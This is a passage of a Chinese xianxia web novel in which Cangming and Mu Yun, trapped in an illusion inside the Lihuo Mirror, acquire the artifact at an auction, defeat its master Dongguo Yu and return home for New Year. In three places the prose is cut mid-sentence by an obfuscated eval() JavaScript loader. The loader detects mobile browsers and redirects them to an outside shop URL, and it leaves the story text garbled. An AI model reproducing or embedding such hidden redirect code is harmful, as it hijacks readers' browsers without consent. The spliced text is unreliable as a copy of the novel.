苍暝眼也不眨地加价:“三百。” 掌柜笑道:“这个价可着实太高了,道友再让点吧。” 苍暝却是解开两边手腕处的护腕,一同放到桌上。 掌柜再接过去细看,眼中忍不住现出更惊讶的神色。 苍暝:“一起五百。” 掌柜思索片刻,看他不像好讨价还价之人,最终还是点头道:“好,那便五百,死当。” 说着就掏出一只储物袋,倒出五百块上品灵石。 那两件低阶灵器不是需要认主之物,如此便是钱货两讫。 苍暝没收灵石,却道:“烦请拿个盒子装。” 掌柜微笑:“道友想买什么价位的储物盒,我让弟子取来。” 苍暝:“普通盒子。” 掌柜有些诧异——哪怕他见过的客人多,却也没见过哪个修士用普通盒子装灵石的。 不过这一笔交易赚了不少,普通盒子这种添头都算不上的东西,他倒也不在意送一个。便起身道:“两位稍坐,我让人送来。” 慕云看掌柜离开房间,就靠到苍暝身边小声问:“他给得那么干脆,你要的价是不是低了啊。” 苍暝:“无所谓,用不上的身外之物而已。” 慕云一想,反应过来了——也是,这里是幻境,归根结底一切都是假的。 没一会儿,有个小弟子拿了个木盒来给两人。 五百块上品灵石听着数量不少,但每一块就像黄豆大小,加起来一个盒子就能放下。 慕云自觉地将灵石收好,捧起盒子。 苍暝带着慕云离开店里,又寻那些城中四处找活干的闲散少年问客栈情况。 这些少年消息的确灵通,只是最近来离幽城的人很多,许多客栈早已住满。 最后苍暝挑了一间位置偏僻价格又贵的——也是因此才有空房。 没有御剑通行牌的人在城内禁止御剑,苍暝现在也无法调动灵力,就雇了辆车过去,到得客栈直接要了最贵的一间小院。 院中只有一间不大的屋子,屋里摆设也很简单。仅仅一床一桌一椅,床上除了枕被,还有一块蒲团,桌上摆着茶壶和一只水杯,还是慕云问小二拿才要来第二个杯子和第二张椅子。 慕云坐在椅子里喝水,一边感叹:“难怪你得去当东西。” 就住这一晚,先前从那个送上门的金丹修士手中抢来的灵石,就已经差不多花光。 说完,扫一眼旁边不算宽的床榻:“今晚怎么睡?” 先前苍暝是小狗的模样,一人一狗同睡还没什么。现在两个大男人,挤一张床上睡就有点不舒服了。 苍暝:“你睡床,我在地上打坐。” 慕云:“你不用睡觉?” 苍暝:“我也不用吃饭。你若觉饿,自去找小二点菜。” 慕云忍不住嘀咕:“修炼到头不吃不睡,人生还有什么乐趣。” 说完,想起自己先前的疑问,先往窗外望望,再看向苍暝:“现在可以问了吗——仙器离火鉴是什么。” 苍暝这次回答了:“明日在拍卖会上见到,你便可知晓。” 慕云顿时来了兴趣:“要去拍卖会?” 苍暝:“那人在幻境里构建出离幽城,离幽城最出名的事就是这次拍卖会。即便我们不去,想必他也会设法将我们引去。” 慕云:“你说的那些什么‘阵眼’‘阵基’,会在拍卖会里吗?” 苍暝:“不知。但困是困不死我的,对方若对我有所图,总会现身动手。” 慕云盘了下这句话:“你的意思是——这个幻境本身不会给我们带来直接伤害?” 苍暝沉默片刻,说出一句惊人之语:“我现在怀疑,我们就在离火鉴之内。” 慕云吃惊道:“啊?你怎么知道?” 苍暝:“只是猜测。能在凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952512|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人界运转幻境,还是以拉进魂魄的形式,这样的物品屈指可数。” 慕云露出似懂非懂的神色,随即又有些惊喜:“要真是那样,等你收拾掉对方,我们是不是就能抢到一个仙品?!” 苍暝:“还不确定是不是。” 说完,站起身走向床铺:“我打坐调息,你可自便。” 慕云看着他飘飞的衣摆,起身唤道:“暮色。” 苍暝停步回首。 慕云低头解自己腰带:“等会儿,我给你弄根腰带。还得靠你打架,袍子扎起来方便行动。” 苍暝见他三两下把腰带扯下,抬手去接。 慕云却将腰带一头扯平整,凑到嘴边用牙咬中断。试了好几下,才咬出一个豁口,接着捏紧着两头用力一扯。 嘶啦一声响,那条粗布腰带被一分两半。 苍暝:“……” 慕云利落地几下用力,很快带一条腰带彻底分为两条,将其中一半塞进苍暝手中,自己低头往腰上扎另一半。 苍暝垂眼看向腰带一侧断口上跑出众多纤维——他自化形以来,还未从穿戴过破烂衣物。 也罢,幻境而已,一切皆是空。 苍暝也低下头,用那一半腰带束好自己昂贵的法衣。 * 翌日,苍暝带慕云去华彩阁。 两人来得不算晚,但此时已有许多人聚在外头,正在华彩阁弟子的接引下进入。 华彩阁为了这次拍卖,特地重新规划置办了场地,将拍卖会的座席分为三等,都围绕着中央的展示台。 最高一等,自是楼内的包厢。次一等的,是众多高低错落地浮于空中的雅座。最低一等,就是地面上的站席。 自然,每一种座席的售价都不一样。 苍暝没有去人多拥挤之处,而是带着慕云往回廊拐。 回廊上的接待弟子立刻迎上来:“道君可是需要雅座,每个层高的价位都有点不同,不过现在剩的位子已经不多了。” 苍暝却道:“天字包厢。” 接待弟子一愣,随即有些犹豫地打量两人:“天字包厢的费用是五百上等灵石……” 苍暝看向慕云。 慕云将捧在怀里的小木盒打开,露出一堆灵石,对那弟子笑道:“正好五百,你数数。” 接待弟子虽奇怪怎么有人不用储物袋装灵石,但修真界什么怪人都有,今日又是重要的日子,他不敢怠慢,立刻探出灵力扫过,确认数量对,便取出一个空的储物袋装了,恭敬地将两人往楼里领。 一边走,他一边小心翼翼地说:“天字包厢只剩最后一间,位置有些偏……” 苍暝:“无妨。” 接待弟子暗自吁口气,低眉顺眼地只管领路。 进到楼里,换为明显更高阶的大弟子来接待,将苍暝和慕云领到三楼边上的房间,又有小弟子送来灵茶和各式灵果、点心。 大弟子亲切地介绍:“尊者请放心,此间的防护法阵可以防住大乘期的神识。门外便有小弟子守着,有任何吩咐可随时用这颗传音石唤人。出拍价之时,用的是这一颗传音石。尊者可要让人来歌舞助兴?” 苍暝沉默地挥下手。 大弟子就识趣地退出房去。 慕云昨日没吃到灵果,也没见到如此精致的点心,此时一手拿一个,舒服地坐在椅子里吃起来:“味道真不错啊,不愧是最高等级的花费。” 苍暝只拿起茶杯沾沾唇,目光看向下方搭建起的展示台。 慕云跟着看过去。 前方缺了一整面墙,甚至连栏杆都没有,视野相当开阔。 他问:“外面能看进来吗?” 苍暝:“有法阵,看不见。” 慕云语带羡慕:“这里有些东西还真是很方便,可惜回去就享受不到了。” 说完,又想起问:“你当钱怎么当得这么准,正正五百。” 苍暝:“昨日茶馆里有人说过,你没听见。” 慕云:“那第一次想当的三百是什么价?” 苍暝:“地级包厢。” 慕云:“有什么不同?” 苍暝:“天级的法阵能抵挡大乘后期的修士一击,地级的只能抵挡大乘前期一击。座席卖得贵,主要是开法阵的消耗大。” 慕云:“是防着人明抢?” 苍暝:“正派修士一般不会如此明目张胆,但也有邪修不管不顾。不过今日众多大能都在,谁若明着动手必成公敌,应当没人这么傻。” 慕云又问:“你买这么贵的座席,难道也要拍那个仙器。” 苍暝:“自然。离火鉴是这幻境的关键之物,或许就是阵眼。” 慕云不解:“可是你没钱啊,怎么拍。就算这里的一切都是假的,可以不计代价,但你拿不出钱,人家也不会给你东西。” 苍暝却是伸手在怀中,从内袋里掏出一个拇指大的小玉瓶。 慕云:“这是……” 苍暝:“上古神兽留下的一颗兽丹。炼化其中灵气,足以让出窍期以下的修士直接提升一个大境界;便是出窍期以上,至少也能提升一个小境界。” 慕云:“比仙器还厉害?那你为什么留着不用。” 苍暝:“我不需要此种外物。” 慕云还想再问,却在这时听到一道悦耳的金石相击之声。 他垂眼看向下方,那里已经有人登台。 拍卖会开始了。 . 14.仙君 一位口齿伶俐的修士登台,先客套地说一些开场话,随后介绍华彩阁的三位主事者及元老,并感谢应邀来相助的各派尊者。 随着他的话音,那些人所坐的空中雅座就飘飞而下,悬在展台近处。待那修士谢完,众雅座正好将展台围着一圈。 慕云不禁看得感叹一声:“这么紧张啊。” 今日是离火鉴的专场拍卖会,台上修士提高了音量,语带激动地请华家元老将离火鉴送上台去。 正对展台的雅座上站起一人,华家三位主事同时飞到那雅座前,一起护送那位元老登台。 华家元老双手捧着一只玉匣,在所有人的注视中落于展台上,从玉匣中取出一物,小心地摆放在置物架上,再领着身后三人一同分站于展台四角。 同时,展台下方对着正上方的空中喷出一层雾气。片刻之后,雾气上出现了放大版的置物架影像。 慕云惊讶道:“还有这种术法,好有意思!我总算能看清那个仙器长什么样了!” 摆在架子上的,像是一面圆形镜子。但镜面上一片模糊,并没有映出东西,仿佛许久未曾打磨保养过。 他们的包厢在三楼边上,这个看过去,还能看到一点镜子背面。看上去似乎并没有复杂的满背雕花,只在中央有一点浮雕。 慕云奇道:“是镜子吗?看着很普通嘛……我还以为仙器会自带光芒,让人不能直视。” 苍暝:“宝物自晦。” 台上修士再对着置物架伸手,手在虚空中一转。 置物架缓缓转动,让展台四周的人都能看清离火鉴的完整模样。 慕云也看清了背面,果然是只在一片平滑的镜背正中有个像印章一样的浮雕。 他问苍暝:“那上面雕的是字吗,什么字。” 苍暝瞥过来一眼:“你认不出?” 慕云:“看着像篆书,我的确不认得。” 苍暝这才道:“‘璟珩’——玉器华光之意。离火鉴为璟珩仙君所造,相传他喜欢在自己炼制的器物上留下这个名号。” 台上修士等置物架转完一圈,开口道:“众所周知,离火鉴是璟珩仙君为感谢友人郁离仙子相助其布置下界结界,特地为郁离仙子所打造。 “关于离火鉴的故事,想必许多人都知道,在此便不赘述。只为不了解离火鉴的道友介绍一下它的作用——助人锤炼内心与神魂。” 说完,那修士便直接开始主持拍卖。 慕云看得很是吃惊:“这就开始了?不用当众验一下东西是真是假吗?” 苍暝:“拍到的人自会查验。仙器问世经过雷劫,内里已成一个小世界,只要神识一探便可知晓,做不得假。” 说到此,他不由得想到——或许正是因此,仙器穿过结界之时,才能保住其中灵气不散。 慕云听着外面拍卖,注意力却转到另一点上:“刚才他提到‘布置下界结界’,是不是你说过的那个,保护我们这边的结界?” 苍暝:“对,主持布置结界之人,正是璟珩仙君。” 慕云双手合什:“感谢他!” 又问:“他现在还在吗?” 苍暝:“在我出世之前,就已经兵解。先前我也说过——有人做过尝试,分一缕神魂到凡人界,通过给身体灌注灵气升到筑基而返回,却一直没能修复受损的神魂,直到兵解——亦是璟珩仙君。” 慕云面露不解:“是他要布结界,却又因为那结界受了重伤?” 苍暝:“那是很久以前的事,当时我还未出世。总之,传言便是如此。至于他为何如此,传闻太多,没有一个统一说法,也可能俱是谣传。” 慕云继续问:“那,‘很多人都知道的离火鉴的故事’又是什么,你知道不?” 苍暝:“据传,郁离仙子当年已经修为停滞许久,璟珩仙君便特地为她煅造这面离火鉴。我等修士的修炼,初期尚有些许捷径可走,但最终会归于修心一途。问心寻道,方可进境——这就是离火鉴的用途。” 慕云思索着说:“可我刚才听那人的话音,不像是这么简单。” 苍暝再瞥过一眼,续道:“郁离仙子得到离火鉴之后,果然突破了原本的境界。后来,她将离火鉴借给未婚夫,却没想到被未婚夫背叛悔婚,还差点被害死。 “郁离仙子气愤不已,可又不敌她未婚夫与其新欢,就将那人手中有离火鉴一事公之于众。还称只要能帮她杀了那人,就赠送离火鉴为谢礼。 “如此一来,不仅邪修会找那人夺宝,连正道修士都有了名正言顺的动手理由。再之后,郁离仙子的确收到了她前未婚夫的人头。只是离火鉴也不知所踪,直至这次现世。” 慕云听得露出几分遗憾之色:“听着还挺解气。不过,既然现在直接拍卖离火鉴,是不是那位仙子也过世了?” 苍暝:“据说当时受的伤一直治不好,修为倒退,似乎是两百多年前过世的。” 慕云轻轻叹了口气:“红颜薄命。” 之后就没再问什么,只吃着灵果和点心,看外面的拍卖热闹。 他不说话,苍暝自然也保持沉默,只等着拍卖有结果。 * 最终,离火鉴以惊人的天价被拍走。 在台上修士宣布成交的那一刻,一道大乘期威压在瞬间扫过全场。 慕云正在喝茶,整个人抖了下:“刚才是什么?毛骨悚然的。” 苍暝:“大乘期的威压。是买主在展示实力,给想动手抢夺的人一个警示。” 慕云:“可你不是说,这里的法阵能抵挡什么什么……” 苍暝:“仅是威压而已,没有伤害就不会触发法阵防御。” 解释完,他抬手按上出价用的传音石,开口道:“拍下离火鉴的道友,我欲用一颗上古神兽所留兽丹与你交换,你可愿意。” 传音石将这话扩散在中央展示台,原本的嘈杂声很快为之一静,随即又响起更大的喧哗。 拍下离火鉴的包厢很快有回应:“真是上古神兽的兽丹?!” 哪怕经过传音石的变调,还是能听得出其中包含的激动。 不等苍暝回应,很快又有另一个包厢传声道:“那位有兽丹的道友,你开个价……不,干脆让华彩阁当场拍卖好了。” 苍暝淡然回道:“我只想要离火鉴。拍下的道友, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960075|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可愿换。或者,有谁愿意换的,帮我拍下离火鉴亦可。我愿先通过华彩阁给兽丹,待你验货之后,再由华彩阁将离火鉴交给我。” 这一下,外面的声音更多了,也有一两道声音在刚才的离火鉴成交价上又加了价。 慕云一副看热闹的模样,目光转到苍暝放于桌上的小玉瓶上:“你这东西还真值钱啊,比仙器都有吸引力。” 苍暝:“哪怕得到离火鉴,进阶也要自己修炼,不是一定会有结果。服用兽丹,却能直接进阶。” 慕云:“捷径总是更诱人。” 随即想到什么,又露出担心之色:“可是,会不会有人先换了你的兽丹,再来抢仙器。你打得过他们吗?那些都是很厉害的家伙吧。” 苍暝却是难得地嘴角微挑:“我倒是他们来。” 慕云不解:“嗯?” 苍暝:“他们攻击我,我才能使用灵力。他们攻击得越久,说不定我就可以直接破阵闯出去。” 这时,外面已经被苍暝的神来一笔搅得有些乱。 华家三位主事紧急商量过后,家主及时站出来道:“诸位还请稍安勿燥。现在有道友提出用上古神兽的兽丹换离火鉴,而离火鉴刚才已经成交,还是先等拍下离火鉴的道友做出决定。 “若是那位道友愿意换,便就此交换。若是那位道友不愿意换,那就让愿意换的道友们继续拍卖离火鉴,最终价高者与出兽丹的道友做交换。诸位以为如何?” 这算是华彩阁在信誉和现场压力下尽力做出的一个平衡,也到底是正派大能居多,当下没有人出来为难华彩阁。 有“继续拍卖”这个选择在,拍下离火鉴的大乘修士没有犹豫多久,就同意交换兽丹。 华家主亲自过来领兽丹,还请了华家那位出窍期元老相陪。 苍暝将小玉瓶交给他。 华家主恭敬道:“请尊者放心,那边验完之后,华某立刻将离火鉴送过来。” 等两人离开,慕云问:“怎么他们好像都有点忌惮你?” 苍暝:“我现在无法使用灵力,在他们眼中就是毫无修为。这说明,我要么是个凡人,要么修为远在他们之上,才能让他们看不穿。而我能拿出兽丹,还来到这种场合,他们自然不会认为是前者。” 又等过一会儿,华家主回到展台,宣布今日的拍卖会顺利结束。随后,亲自将离火鉴装回匣中,在华家另外三人的护送之下过来。 这一回,只有华家主一人进入包厢。 他先对苍暝道:“尊者,待您验收之后,华某便为您打开离开的暗道。您请放心,出去的暗道有好几条,一会儿可等华某出门上,您再离开。” 苍暝略点个头:“拿过来。” 到了这个时候,他也难免有点好奇——现在这个匣子里,到底还有没有离火鉴。 华家主将匣子放在桌面,双手打开匣盖。 离火鉴倒扣其中,可以清晰地看到背面浮雕的“璟珩”二字。 苍暝伸手去拿。 就在他捏住离火鉴边缘,抬离匣底的那一刻—— 一柄短刃从侧边向苍暝脖部直刺而来! . 15.收获 苍暝在瞬间将离火鉴拍回匣底,同时身形飞速一转。 叮的一声,他身后的剑柄精准挡住刺来的利刃。 但同一时刻,他转身后恰好面对的包厢门突然打开,一柄长枪和一条长鞭急袭而来。 是门外的另外两个华家化神期。 和刚才那柄偷袭的短刃不同,他们两人的攻击是修士最寻常的手段——武器上裹着灵力,带起迅猛的罡风。 枪和鞭还未到眼前,两股满含杀意的罡风已将苍暝团团裹住。 苍暝却是唇角几不可察地一挑。 下一瞬间,一道澎湃的剑气仿佛在房中炸开。 慕云先前被苍暝遣到屋角,此时就见屋内的地面、墙壁、天顶,以及目力所及的一切东西,都在刹那间毁得千疮百孔。就好像被无数道看不见的利刃切割过。 并且,还如同一阵狂风刮过,被切割成众多碎片的桌椅等物,以苍暝为中心四散飞射出去。 但慕云并没有感受到在屋里肆虐的风,那些飞射出的物品也没有伤到慕云。 此时他身周罩着一个半透明的罩子,将一切伤害都抵在罩外。 慕云垂眼瞥向自己的手——他捏着块刚才苍暝交给他的玉佩,此时玉佩正亮着一层淡淡的青光。 不过,那层光也很快暗下,半透明的罩子随之消失。 因为此时屋中的战斗已经结束,一切归于平静。 还是诡异的平静。 华家那两个化神期刚才冲进来,现在却像是被施了定身术,两人都面目狰狞地定格在半空。原先楼外还会传来人群的喧哗,此时也完全消失,整个空间仿佛被冻结成某一个时刻。 现在还能动弹的,只有慕云、苍暝,以及那个欲刺杀苍暝的华家主。 慕云转眼看向苍暝,抬步向他走去。 刚才苍暝的动作实在太快,慕云根本没能看清。只在听见华家主惨叫的同时,感觉眼前飞掠过一道黑影。 然后就一切都结束了。 仅仅一个呼吸间。 此时,华家主全身上下被割出无数道伤,整个人像是被抽掉力气般瘫在地上。 不,或许不该再叫他“华家主”——因为他的样貌和刚才完全不一样,已经换成了另一张陌生的脸。 慕云就见那个“华家主”满脸惊恐,双眼震颤,声音嘶哑地道:“你怎么能用灵……” 下一刻,又仿佛反应过来什么,急急改口道:“剑尊饶……” 但,他没能把话说完。 苍暝伸手扼住了他的脖子。 “华家主”瞪大眼睛,脸上恐惧之色变得更浓,却苦于说不出话,只能发出用力喘气的声音。 苍暝目光四下一扫,手下渐渐加力。 “华家主”的脸色随之一点点涨红,眼睛都开始往上翻起。 然而,四周还是保持着“时空凝固”的情形。 苍暝稍稍蹙起眉头——此人不能用灵力,显然应该是这个制造幻境的仙器的主人。现下在幻境中他已是死路一条,只有回到现实才能有一线生机,他竟然还不把人都放出去? 不过,苍暝并不纠结于此。 既然这个主人不肯放人,那便给仙器换一个主人便好。 只是,在动手之前,苍暝趁着自己还能用灵力,对“华家主”进行了搜魂。 众多信息顿时如洪水般在苍暝的意识中流过。 这人正是东郭豫,他们也的确身处离火鉴内,这个幻境也正是五百年拍卖离火鉴的真实情形——只除了最后被苍暝改变的部分。 那个时候,东郭豫提早拿了手段,替换掉真正的华家主,在最后最出仙器时监守自盗,这才出现“离火鉴离奇失窃”一事。之后,他死遁脱身,使用离火鉴配合修炼,进境飞快。 但纸总包不住火,哪怕事情过了许多年,华家终究还是把真相查了出来,曝出离火鉴在东郭豫手中的消息。只不过,那时东郭豫已到大乘中期,实力高强,华家已是无力复仇。 然而,有离火鉴的相助就能在三百年间从化神步入大乘中期,这个诱惑实在太过巨大。终于,在二十多年前,东郭豫遭心腹背叛中毒,再被一众邪修围剿。 东郭豫使尽手段,最后虽堪堪保住一条命,修为却掉到了金丹期。他眼见再难逃过追杀,一咬牙一狠心,带着离火鉴穿过结界来到下界。 到了下界,东郭豫自然也就变为肉体凡胎,在仙器内都不用了灵力。但他还能操控离火鉴,就用这里的灵气布下一个吸食他人精气以养自身的阵法。这二十多年间,一直靠着离火鉴在下界逍遥自在。 这一回,他在县城偶遇慕云,发现慕云是在下界中难得身俱微薄修为的人,便对慕云下手。却怎么都没想到,竟然会将苍暝的一缕神魂也带了进来。 更奇怪的是,东郭豫刚发动一个幻阵攻击慕云,就发现离火鉴竟然不受他控制了! 之后他还莫名其妙地被幻境卷入,变成“当年的自己”。只是,东郭豫毕竟是个心狠手辣之辈,他迅速利用身份之便找到苍暝,暗中观察发现苍暝也用不了灵力,顿时觉得这是个大好时机。 和苍暝相比,慕云根本不值一提。哪怕这只是苍暝的一缕神魂,若能消化来蕴养自己,至少也能让他延寿百年,就有再返回修真界的希望。 于是,便有了先前那一出对苍暝的刺杀。 苍暝搜完东郭豫的魂,手下一用力,彻底拧断他的颈脖——被搜魂的人识海会损毁,变成傻子,东郭豫还早已控制不了离火鉴,更是无需再留。 不过,在苍暝松开手起身之时,听到恰好走近的慕云“哎呀”一声。 苍暝转眼看他。 慕云面上带些可惜:“我本来想问问,先前邻县总有人失踪那事,是不是他干的。” 苍暝:“不是。我刚搜了他的魂,他没有这段记忆。” 慕云“哦”一声,又问:“接下来呢,我们要怎么出去?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964961|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苍暝挑拣着重点说:“这里的确是离火鉴内部,他是离火鉴的主人。现在我杀了他,离火鉴就变为无主仙器。只要让离火鉴重新认主,就能控制离火鉴放我们出去。” 虽然先前东郭豫突然无法控制离火鉴,但他毕竟已经控制过那么长的时间。苍暝只需要从这里出去,后面的事不用过多考虑。 慕云闻言,笑道:“恭喜你得到仙器。” 苍暝看他一眼,再转头看向四周。 随着东郭豫死去,幻境渐渐消失,现在又恢复了一片白雾的情形。 随后,上方突然吹来舒适的暖风。 两人一同抬头。 上方的白雾略略散开,露出正中一道淡红色的光芒。 是“璟珩”二字在发光。 慕云惊讶道:“和刚才那个离火鉴背后的字一模一样!” 带着红光的“璟珩”印记在缓缓下落。 苍暝突然退开几步,对慕云道:“你过去接住印记。” 慕云一愣:“啊?” 苍暝:“接住印记,便是离火鉴的新主人。” 慕云听得瞪眼,吃惊道:“我吗?!” 苍暝:“我现在只是一缕神识,让仙器认主有些冒险,你来更稳妥。而且,这次是你受我牵连,便以此作为补偿。” 看慕云犹豫着没动,他再补充:“离火鉴于我无用。你在修炼上有天赋,可以尝试利用这里的灵气来修炼,说不定便能修到筑基,前往修真界。” 慕云仔细看着苍暝那张没有多少表情的脸,实在没从当中看出一丝一毫不甘,这才迈步走到印记下方。 心里还是忍不住感慨——这可是仙器,怎么可能用不上?只要留在手中,以后哪怕是往外借,都可以交换许多利益。 慕云扪心自问——换作自己,怕是没办法这么大方。 “璟珩”印记很快落到慕云面前,缩小为拇指大小,最后没入他额间。 慕云闭上眼睛片刻,再睁开后说道:“我感觉我能控制离火鉴了,我们随时可以出去。” 苍暝略一颔首:“出去吧,你家人在等。” 慕云却是看着他的眼睛问:“现在能告诉我你的名字吗?” 苍暝垂眼回视:“名字不过一个称呼,在凡人界有‘暮色’之名便已足够。” 慕云眼中露出点失望:“我们好歹共患难一场,我却连你的真名都不知道。” 不过,跟着又笑道:“你不愿说也没什么,我还挺喜欢我起的名,你愿意用‘暮色’这个名字,我也很高兴。好了,我们走吧。” 说完,用手指在空中划了个圈。 四周的雾气立刻翻涌着包裹住两人。 浓厚的白雾渐渐淹没一身黑的苍暝。 就在这时,慕云突然听到了苍暝的回答。 他说:“‘苍暝’——天之苍,暮之暝。” 慕云愣了下,随即不自禁地翘起唇角。 . 16.将来 慕云再次能够看清眼前景物时,发现自己站在县城里客栈前的那条小巷中。手中提着熄灭的灯笼,还能隐隐闻到蜡烛被灭的那股轻微焦味。 脚边传来有东西挨靠着的温暖感,他低头垂眼,借着天上月光和前方客栈灯笼的微光,看到挨在自己脚边的一团白影。 苍暝也仰头看来,小声道:“看来这边的时间还保留在离开的时候。不知道离火鉴里的时间是完全停滞,还是相对外头过得非常缓慢。” 慕云掏出火折,重新将蜡烛点亮,再弯腰抱起苍暝:“这样可太好了,没让我家人担心。” 苍暝不由得想——难怪东郭豫仅仅花了三百年,就能从化神步入大乘中期。 慕云抱着苍暝回到小院,在院门碰上出门的慕山。 慕山见到他,神色一松:“大哥!这么久不见你回来,我正准备找个小二陪着到济仁堂看看。” 慕云笑着安抚:“没事。这次的草药品相好,掌柜估不准价,让人去寻东家来看,就耽搁了一会儿。” 兄弟两人说着话回到院中,插上门闩,一家子这才放心地休息。 第二日一早,慕家人按着计划将剩下的年货采买完。 慕云也一一给家人买礼物。 慕海单独得了一包分量不少的花生糖,高兴得不得了。慕雨和慕娘各得了两支新式样花簪和一匹颜色鲜亮的布,两人都是爱不饰手。 慕云还买了两小坛酒,准备一坛在过年时喝。另一坛特地挑了很受城中女子们喜爱的甜酒,留给慕山成亲时当合卺酒。慕山明显性子粗一些,没有考虑到如此细致之处,这时抱着酒坛满脸感动。 苍暝的份也没落下。之前喝了几个月的羊奶因为母羊产奶期结束而断了,现在慕云花了高价买下一大包羊奶粉,说是每日冲泡给小狗喝。 慕云花自己的钱,慕家夫妇向来不会多嘴。不过,慕爹看看跟在慕云脚边的白狗,凑近过去小声提醒:“暮色就快成年了,还喝羊奶有用吗,要不要换买点别的吃。” 慕云笑道:“多大喝奶都有好处,我看他挺爱喝的。肉买得太多有点招摇,也没奶粉放得久。” 苍暝动了动耳朵。 慕云留意到了,又补充:“若是暮色不愿喝,就我喝。” 慕爹只是担心浪费银子,见他心中有成算,便不再多说。 一家人买齐东西,高高兴兴地赶着牛车回了家。 夜里休息时分,慕云端来水,给苍暝擦狗爪子。 自从他开始晚上抱着苍暝睡,就给聚灵垫子仔细区分开两个外套,一个是在院子里用的,一个是在炕上用的。苍暝想到炕上趴着时,也被要求先擦干净脚——这个工作主要由慕云和慕海担任。 慕云给苍暝收拾干净,将他抱到垫子上,再出门去洗漱。 垫子还是放在炕尾,苍暝先趴下闭上了眼。 没多久,他听到慕云重新进屋,上炕脱衣,吹熄油灯,盖上被子躺下。 苍暝又等过片刻,发现慕云依然没把自己抱进被子里,不禁睁开眼看去。 慕云已经躺好了,闭着眼睛等待入睡。 苍暝开口:“你……” 但,只说了一个字,就又闭上嘴。 昨晚他说话是刚离开离火鉴之时,一时都没意识到。现在再开口,那奶声奶气的稚童声实在是格外突兀——这也是苍暝尽量不和慕云说话的原因。 慕云好一会儿没听到下文,睁开眼问:“怎么了?” 苍暝:“……” 他实在没忍住:“你能不能调整一下这个声音。” 黑暗当中,慕云竟从一只狗的脸上看出了无奈之感,不禁失笑道:“好好,这就给你调。我先前也不知道你的声音是什么样,就随便弄了一个。” 一边说,一边伸过双手,捏起苍暝脖间的五彩绳摩挲。 苍暝也懒得计较这种明显的谎话,只闭口等待。 他本以为慕云要把五彩绳拆下来,不料慕云就那样摩挲过一会儿,便将手收回被子里,说:“可以了,你试试。” 苍暝颇为惊讶——这样的炼器手法,他可闻所未闻。 他轻咳一声,就更诧异了——竟然正是他自己的声音。 慕云笑眯眯地问:“你刚才想说什么。” 苍暝被拉回注意力,问出刚才想问的话:“你不需要这垫子了?” 慕云眨下眼:“你都把神器让给我了,我怎么好再和你抢垫子。” 苍暝:“今日下雪,没有被子有点凉。” 慕云再眨下眼,忍不住低低笑了一声,掀开被子伸出手,连狗带垫一起捞进被子里抱着:“既然你不介意,那就继续一块睡。” 苍暝调整个习惯的姿势趴好,想了想,又道:“其实你没必要花那么多银子买那个奶粉。昨日拿到的钱,今日就花得差不多了吧。” 慕云搂着暖乎乎的狗子,舒服地闭上眼:“无所谓,剩下的够用一阵了,而且我还有点积蓄。再说,等到开春,再画幅画去出手,钱就又能赚回来。” 苍暝看他不在意,何况花都花了,也就不再多言,却是难得有点好奇:“你如此能赚钱,怎么不带家人到城里住。请上几个人手,他们就能清闲自在。” 慕云:“我的确想让家人都过上好日子,但也不能养出懒虫来。爹娘还罢了,慕山、慕雨和慕海以后还是得靠自己。” 苍暝:“凡人一生不足短短百年。你身俱修为,又有离火鉴,好好修炼,想照顾他们一生不难。” 慕云却道:“我能做他们的后盾,慢慢改善家中环境,但看顾不到他们的子子孙孙。他们自己是什么品性,就会养出什么品性的孩子。若是不求上进、坐吃山空,不出三代就能把家败光,比现在还不如。” 苍暝听他已有规划,便没再说下去,只在暖洋洋的被窝里安静地睡觉。 ○● 慕家人采买回年货之后,比先前更是忙碌。除了准备过年,一家子还要给慕山布置新房。 慕山原本带着慕海一块睡,成婚之后慕海就得搬出来。慕云叫他来和自己睡,但慕海体谅大哥“病弱”,又不想打扰爹娘,坚持要自己一个人睡,还说也想要一个房间。 于是,慕云就把用来画画的那间小屋收拾出来,再请人来盘了炕,给慕海独自住进去。慕海有了自己的新屋,又给村子里的伙伴们都送了花生糖,引得小伙伴都爱来找他玩。 临近过年,本身慕云就放松了慕海的学习,家里人忙着也不太顾得上他,苍暝有时便会跟着慕海出去看顾一二。这让慕海尤其感动,又从自己留的花生糖里拨出一部分送给苍暝。 不仅是慕家忙,村里家家都在忙。冬日农闲时是成亲的好时候,这段日子村里陆续办了三次喜事,慕家人还抽空过去帮忙。 只有慕云一直闭门不出,连喜酒都没去吃。他依旧是各个媒人眼里的香饽饽,实在不想应付那些劝婚,干脆称病躲在家里,有客上门也避进屋中。 直到腊月廿九,各家都专注于准备自家过年了,慕云才决定带苍暝出趟门。 昨日慕云写了好些福字和对联,今日慕家人吃过早饭便各自准备出门。 